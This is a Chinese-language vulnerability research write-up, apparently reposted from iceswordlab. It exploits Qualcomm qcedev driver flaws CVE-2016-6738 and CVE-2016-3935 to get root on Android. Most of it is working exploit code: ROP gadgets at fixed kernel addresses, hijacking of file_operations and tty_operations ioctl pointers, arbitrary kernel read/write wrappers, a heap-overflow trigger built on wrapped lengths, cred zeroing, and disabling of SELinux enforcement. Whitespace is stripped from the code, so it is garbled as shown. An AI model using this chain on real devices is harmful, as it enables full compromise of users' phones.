我们用这段 rop 构造一个用户态函数,如下
staticintkernel_write_32(unsignedlongaddr,unsignedintval) { unsignedlongarg; *(unsignedlong*)(fake_ptmx_fops+9*8)=ROP_WRITE; arg=addr; ioctl_syscall(__NR_ioctl,ptmx_fd,val,arg); return0; }9*8 是 ioctl 函数在 file_operations 结构体里的偏移,
*(unsignedlong*)(fake_ptmx_fops+9*8)=ROP_WRITE;的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。
同样的原理,我们封装读任意内核地址的函数。
有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:
staticintdo_root(void) { intret; unsignedlongi,cred,addr; unsignedinttmp0; /*searchmyself*/ ret=get_task_by_comm(&my_task); if(ret!=0){ printf("[-]getmyselffail!\n"); return-1; } if(!my_task||(my_task<0xffffffc000000000)){ printf("invalidtaskaddress!"); return-2; } ret=kernel_read(my_task+cred_offset,&cred); if(cred<KERNEL_BASE)return-3; i=1; addr=cred+4*4; ret=kernel_read_32(addr,&tmp0); if(tmp0==0x43736564||tmp0==0x44656144) i+=4; addr=cred+(i+0)*4; ret=kernel_write_32(addr,0); addr=cred+(i+1)*4; ret=kernel_write_32(addr,0); ... ret=kernel_write_32(addr,0xffffffff); addr=cred+(i+16)*4; ret=kernel_write_32(addr,0xffffffff); /*success!*/ //disableSELinux kernel_write_32(SELINUX_ENFORCING,0); return0; }搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct 的函数 get_task_by_comm 具体实现参考 github 的代码。
CVE-2016-3935 漏洞利用
这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。
在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构
include/linux/tty.h structtty_struct{ intmagic; structkrefkref; structdevice*dev; structtty_driver*driver; conststructtty_operations*ops; intindex; ... }在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个struct tty_operations的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。
#defineTTY_MAGIC0x5401 voidtrigger(intfd) { #defineSIZE632//SIZE=sizeof(structtty_struct) intret,cmd,i; structqcedev_sha_op_reqparams; int*magic; unsignedlong*ttydriver; unsignedlong*ttyops; memset(¶ms,0,sizeof(params)); params.entries=9; params.data_len=SIZE; params.authklen=16; params.authkey=&trigger_buf[0]; params.alg=QCEDEV_ALG_AES_CMAC; //whentty_structcomingfromkmalloc-4096 magic=(int*)&trigger_buf[4096]; *magic=TTY_MAGIC; ttydriver=(unsignedlong*)&trigger_buf[4112]; *ttydriver=&trigger_buf[0]; ttyops=(unsignedlong*)&trigger_buf[4120]; *ttyops=fake_ptm_fops; params.data[0].len=4128; params.data[0].vaddr=&trigger_buf[0]; params.data[1].len=536867423; params.data[1].vaddr=NULL; for(i=2;i<params.entries;i++){ params.data[i].len=0x1fffffff; params.data[i].vaddr=NULL; } cmd=QCEDEV_IOCTL_SHA_UPDATE_REQ; ret=ioctl(fd,cmd,¶ms); if(ret<0){ printf("[-]ioctlfail%s\n",strerror(errno)); return; } printf("[+]succtrigger\n"); }4128 + 536867423 + 7 * 0x1fffffff = 632
溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff
这样他们加起来溢出之后的值就是 632, 这个长度刚好是 struct tty_struct 的长度,我们用 qcedev_sha_op_req.data[0].vaddr[4096]这个数据来填充被溢出的 tty_struct 的内容主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype 的 tty_operations 指针,我们将这个指针覆盖为伪指针 fake_ptm_fops.
之后的提权操作与 cve-2016-6738 类似,
include/linux/tty_driver.h structtty_operations{ structtty_struct*(*lookup)(structtty_driver*driver, structinode*inode,intidx); int(*install)(structtty_driver*driver,structtty_struct*tty); void(*remove)(structtty_driver*driver,structtty_struct*tty); int(*open)(structtty_struct*tty,structfile*filp); void(*close)(structtty_struct*tty,structfile*filp); void(*shutdown)(structtty_struct*tty); void(*cleanup)(structtty_struct*tty); int(*write)(structtty_struct*tty, constunsignedchar*buf,intcount); int(*put_char)(structtty_struct*tty,unsignedcharch); void(*flush_chars)(structtty_struct*tty); int(*write_room)(structtty_struct*tty); int(*chars_in_buffer)(structtty_struct*tty); int(*ioctl)(structtty_struct*tty, unsignedintcmd,unsignedlongarg); long(*compat_ioctl)(structtty_struct*tty, unsignedintcmd,unsignedlongarg); ... }如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。
#defineioctl_syscall(n,efd,cmd,arg)\ eabi_syscall(n,efd,cmd,arg) ENTRY(eabi_syscall) movx8,x0 movx0,x1 movx1,x2 movx2,x3 movx3,x4 movx4,x5 movx5,x6 svc#0x0 ret END(eabi_syscall) /* * ropwrite *ffffffc000671a58:b9000041strw1,[x2] *ffffffc000671a5c:d65f03c0ret */ #defineROP_WRITE0xffffffc000671a58 staticintkernel_write_32(unsignedlongaddr,unsignedintval) { unsignedlongarg; *(unsignedlong*)(fake_ptm_fops+12*8)=ROP_WRITE; arg=addr; ioctl_syscall(__NR_ioctl,fake_fd,val,arg); return0; }同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。
/* *ropread *ffffffc000300060:f9405440ldrx0,[x2,#168] *ffffffc000300064:d65f03c0ret */ #defineROP_READ0xffffffc000300060 staticintkernel_read_32(unsignedlongaddr,unsignedint*val) { intret; unsignedlongarg; *(unsignedlong*)(fake_ptm_fops+12*8)=ROP_READ; arg=addr-168; errno=0; ret=ioctl_syscall(__NR_ioctl,fake_fd,0xdeadbeef,arg); *val=ret; return0; }最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权
参考
android_run_root_shell
xairy
New Reliable Android Kernel Root Exploitation Techniques
本文转载自 iceswordlab.com
原文链接:http://www.iceswordlab.com/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/